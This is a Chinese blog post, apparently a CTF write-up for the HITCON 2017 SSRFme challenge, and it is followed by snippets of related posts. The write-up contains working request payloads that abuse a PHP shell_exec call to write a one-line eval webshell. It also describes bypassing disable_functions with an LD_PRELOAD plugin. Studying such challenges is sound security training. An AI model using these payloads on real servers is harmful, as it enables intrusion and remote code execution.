[HITCON 2017]SSRFme

最新推荐文章于 2024-04-11 17:56:22 发布
最新推荐文章于 2024-04-11 17:56:22 发布
阅读量412 收藏 7
点赞数 7
文章标签： 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/wwwyyyxxxx/article/details/136592505
版权
文章讨论了如何通过伪造HTTP头部的x-forwarded-for值，利用shell_exec函数和恶意构造的GET参数，在PHP中实现文件上传并执行任意代码，包括绕过disable_function限制的过程。攻击者可以使用蚁剑工具配合LD_PRELOAD插件获取服务器敏感信息。
摘要由CSDN通过智能技术生成

x-forwarded-for值可以在请求头伪造一个任意值便于访问上传的文件，filename值用于指定写入的文件名，url用于拼接shell_exec的字符串参数，然后将shell_exec的结果写入filename指定的文件 

shell_exec()拼接的GET参数表示执行一个GET请求，在本地试了一下可以用伪协议，也可以直接任意文件读取，不支持php协议，

这里既然是将内容写入指定的文件，并且文件名没有任何过滤

/?url=data://text/plain,<?=phpinfo();?>&filename=b.php

 那么就可以用伪协议直接将一句话木马写入到我们任意指定新建的php文件,然后用蚁剑连接

url=data://text/plain,<?=eval($_POST[1]);?>&filename=a.php

 但是连上之后不能直接读取flag和readflag，也不能直接执行readflag

 这里需要用到蚁剑的一个插件，绕过disable_function的一个模式LD_PRELOAD

将绕过的脚本上传到服务器

然后再重新连一次就能执行readflag了

 

@Wyx
关注
  • 7
    点赞
  • 踩
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
HITCON CTF 2017
11-08
HITCON CTF 2017 所有题目整理.....................................................................................................................................................................................................................
hitcon_2017_ssrfme
o3Ev的博客
05-02 388
hitcon_2017_ssrfme 题目： 打开环境，得到： <?php $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); @mkdir($sandbox); @chdir($sandbox); $data = shell_exec("GET " . escapeshellarg($_GET["url"])); $info = pathinfo($_GET["file
BMZCTF：hitcon_2017_ssrfme
末初的CSDN博客
01-25 732
http://bmzclub.cn/challenges#hitcon_2017_ssrfme <?php $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); @mkdir($sandbox); @chdir($sandbox); $data = shell_exec("GET " . escapeshellarg($_GET["url"])); $info = pat
BUU-WEB-[HITCON 2017]SSRFme
qq_24033605的博客
05-24 213
[HITCON 2017]SSRFme <?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $_SERVER['REMOTE_ADDR'] = $http_x_headers[0]; } echo $_SERVER["REMOTE_ADDR"]; $
关于BMZCTF hitcon_2017_ssrfme的解法
永远是少年
01-12 866
在BMZCTF中，有一道题是hitcon_2017_ssrfme
[HITCON 2017]SSRFme代码审计
最新发布
BoJing6的博客
04-11 398
认认真真做了一次代码审计的题目，感觉收获很大，决定记录下来一打开题目就是源代码首先isset()是 PHP 中的一个函数，用于检查变量是否已经被设置并且不是 null。它接受一个或多个参数，并返回一个布尔值，指示每个参数是否被设置。//输出ip地址，在网页上也能看到总之前面这一串的目的就是输出ip地址题目会将orange和ip地址进行拼接，然后md5加密然后使用mkdir()创建了这样的一个沙盒路径，并且使用chdir()进入该目录。
[HITCON 2017]SSRFme（perl脚本中get命令执行漏洞）
记录学习，一起进步
01-28 842
[HITCON 2017]SSRFme（perl脚本中get命令执行漏洞）
[HITCON 2017]SSRFme ctf web buuctf
wuyaowangchuan的博客
11-12 516
<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $_SERVER['REMOTE_ADDR'] = $http_x_headers[0]; } echo $_SERVER["REMOTE_ADDR"]; $sandbox = "sandbox/..
HITCON 2017 babyfirst-revenge（命令执行绕过一）
郁离歌丶的博客
04-28 2833
院科协换届...10点才去大活打开电脑...修炼第一天怕是只能看个题了....题目链接：https://github.com/otakekumi/CTF-Challenge/blob/master/PHP/chall_1/Chall_1.md审计了一下，大概就是考linux命令执行的绕过，命令长度限制了。直接对着代码想了好久，无果。梅子酒说先搭起环境来，再慢慢搞。WEB学习第一步：搭环境，改bug...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值